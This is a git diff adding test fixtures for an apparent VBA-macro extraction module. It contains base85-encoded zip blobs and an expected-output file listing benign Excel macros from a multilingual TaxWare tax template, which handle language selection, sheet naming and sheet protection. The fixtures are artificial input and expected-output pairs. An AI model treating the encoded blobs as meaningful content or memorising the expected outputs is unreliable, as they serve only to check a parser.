zF9X(xj3>k5;cxBW-{YndZ>>9qeZaml)vvtvA&m*WDhi2lzda%fw&^WH%mSa-b&DmkvprU-ovP7^p

T_yY8K;;q`Y?T0O$O`N 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 B2|NG* literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out new file mode 100644 index 00000000..0bd39bd0 --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out @@ -0,0 +1,251 @@ +has_macros: true +modules: + - name: "DieseArbeitsmappe" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "DieseArbeitsmappe" + Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Private Sub Workbook_Open() + 'neue Instanz der Vorlage? + If Not ActiveWorkbook.Path <> "" Then + 'Sprache auf Excel-Sprache setzen + If Application.International(xlCountryCode) <> 33 Then + ActiveWorkbook.Names("tw_language").RefersToRange.Value = 2 + Else 'franz. + ActiveWorkbook.Names("tw_language").RefersToRange.Value = 3 + End If + Call setSheetProps + End If + End Sub + + Private Sub Workbook_BeforePrint(Cancel As Boolean) + Dim mysheet As Worksheet + Set mysheet = ActiveSheet + End Sub + + + - name: "Tabelle1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "Tabelle1" + Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Attribute VB_Control = "IA_WithSecondPillar, 179, 0, MSForms, ComboBox" + Attribute VB_Control = "IA_ChildrenCount, 178, 1, MSForms, ComboBox" + Attribute VB_Control = "IA_ParishSecond, 177, 2, MSForms, ComboBox" + Attribute VB_Control = "IA_ParishLeading, 176, 3, MSForms, ComboBox" + Attribute VB_Control = "IA_Denomination, 175, 4, MSForms, ComboBox" + Attribute VB_Control = "IA_DenominationLeading, 174, 5, MSForms, ComboBox" + Attribute VB_Control = "IA_PartnershipType, 173, 6, MSForms, ComboBox" + Attribute VB_Control = "IA_Municipality, 172, 7, MSForms, ComboBox" + Attribute VB_Control = "IA_Canton, 171, 8, MSForms, ComboBox" + Attribute VB_Control = "IA_Year, 170, 9, MSForms, ComboBox" + Attribute VB_Control = "cbxLanguage, 168, 10, MSForms, ComboBox" + Attribute VB_Control = "chbLocked, 169, 11, MSForms, CheckBox" + Public deferred As Boolean + + ' Code für Sprachwahl + Private Sub cbxLanguage_Change() + If deferred Then + deferred = False + Exit Sub + End If + + On Error Resume Next + ActiveWorkbook.Names("tw_language").RefersToRange.Value = cbxLanguage.ListIndex + 2 + 'Call setSheetProps + 'Call SetCellComments + End Sub + + ' Code, um Sheets zu benennen und zu sperren + Private Sub chbLocked_Click() + On Error Resume Next + + Dim alertUnlock(0 To 3) As String + alertUnlock(0) = "Achtung: TaxWare speichert nur die Werte in den vorgesehenen Eingabefeldern. Wenn Sie weitere Anpassungen an der Arbeitsmappe vornehmen, müssen Sie diese zwingend als Excel Datei speichern." + alertUnlock(1) = "Attention: TaxWare sauvegarde seulement les valeurs dans les champs de saisie appropriés. Si vous faites d'autres modifications au classeur, vous devez l'enregistrer nécessairement sous forme d'un fichier Excel." + alertUnlock(2) = "Attention: TaxWare stores only the values in the appropriate input fields. If you make further changes to the workbook, you must save it as an Excel file." + alertUnlock(3) = "Attenzione: Taxware salva solo i valori nei campi di immissione appropriati. Se si apportano ulteriori modifiche alla cartella di lavoro, è necessario salvarlo come un file di Excel." + + Dim langIndex As Integer + langIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value - 2 + + ActiveWorkbook.Names("Locked").RefersToRange.Value = chbLocked.Value * -1 + If Not chbLocked.Value Then + MsgBox alertUnlock(langIndex), vbInformation + End If + Call setSheetProps + End Sub + + + Private Sub Worksheet_Activate() + deferred = True + On Error Resume Next + cbxLanguage.ListIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value - 2 + chbLocked.Value = ActiveWorkbook.Names("Locked").RefersToRange.Value + deferred = False + End Sub + + - name: "mdlSheetProps" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "mdlSheetProps" + Public isSettingProps As Boolean + Public lastVariantsValue As String + Const colID = 1 + Const colHide = 2 + + Public Sub setSheetProps() + Dim aSheet As Excel.Worksheet, curSheet As Excel.Worksheet + Dim sheetProps() As String + Dim row As Integer, col As Integer + Dim langIndex As Integer, locked, scrnupdating As Boolean + Set curSheet = ActiveSheet + + scrnupdating = Application.ScreenUpdating + Application.ScreenUpdating = False + Application.Calculation = xlCalculationManual + + If isSettingProps = False Then + On Error Resume Next + langIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value + If Err.Number <> 0 Then + langIndex = 2 + Err.Clear + End If + locked = ActiveWorkbook.Names("Locked").RefersToRange.Value 'default: false + Err.Clear + isSettingProps = True + ActiveWorkbook.Unprotect + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Name = .Cells(row, 1 + langIndex) + If locked Then + If .Cells(row, colHide) = 1 Then + aSheet.Visible = xlSheetHidden + Else + aSheet.Protect + End If + aSheet.Activate + ActiveWindow.DisplayHeadings = False + Else + aSheet.Activate + aSheet.Unprotect + aSheet.Visible = xlSheetVisible + ActiveWindow.DisplayHeadings = True + End If + If .Cells(row, colHide) = 2 Then + Set curSheet = aSheet + End If + Next + End With + curSheet.Activate + 'ActiveWorkbook.Protect Structure:=True, Windows:=False + isSettingProps = False + End If + + Application.Calculation = xlCalculationAutomatic + Application.ScreenUpdating = scrnupdating + End Sub + + Public Sub SetCellComments() + 'setzt alle Kommentare, welche in comments aufgelistet sind, in die korrekte Sprache + + Dim row As Integer + Dim cmt_Range As Excel.Range, iCmt As Integer, myCmt As Excel.Range + Dim myWb As Excel.Workbook + Dim aSheet As Excel.Worksheet + Dim langIndex As Integer + Dim cmt_Name As String + Dim locked, scrnupdating As Boolean + + scrnupdating = Application.ScreenUpdating + Application.ScreenUpdating = False + Set myWb = ActiveWorkbook + + On Error Resume Next + + Set cmt_Range = myWb.Names("comments").RefersToRange + If Err.Number <> 0 Then Exit Sub + + langIndex = myWb.Names("tw_language").RefersToRange.Value + If Err.Number <> 0 Then + langIndex = 2 + Err.Clear + End If + + locked = ActiveWorkbook.Names("Locked").RefersToRange.Value 'default: false + + 'Freischaltung der Blätter, um Kommentarfelder umzubenennen + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Unprotect + Next + End With + + For iCmt = 1 To cmt_Range.Rows.Count + cmt_Name = cmt_Range.Cells(iCmt, 1).Value + If cmt_Name <> "" Then + Set myCmt = myWb.Names(cmt_Name).RefersToRange + If Not myCmt Is Nothing Then + myCmt.Comment.Text cmt_Range.Cells(iCmt, langIndex).Value + End If + End If + Next + + 'Schutz der Blätter + If locked Then + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + If .Cells(row, colHide) = 0 Then + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Protect + End If + Next + End With + End If + + Application.ScreenUpdating = scrnupdating + + End Sub + + + - name: "Feuil1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "Feuil1" + Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Private Sub Worksheet_Change(ByVal Target As Range) + If ActiveWorkbook.Names("tw_language").RefersToRange.Address = Target.Address And ActiveWorkbook.Names("tw_language").RefersToRange.Worksheet.Name = Target.Worksheet.Name Then + Call setSheetProps + Call SetCellComments + End If + End Sub + +project_info: + name: "VBAProject" + version: "1433157262.2" + references: + - "stdole" + - "Office" + - "MSForms" + module_count: 4 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..0d14683301ae85cc19dca40f20d491fb8a5e0644 GIT binary patch literal 17631 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 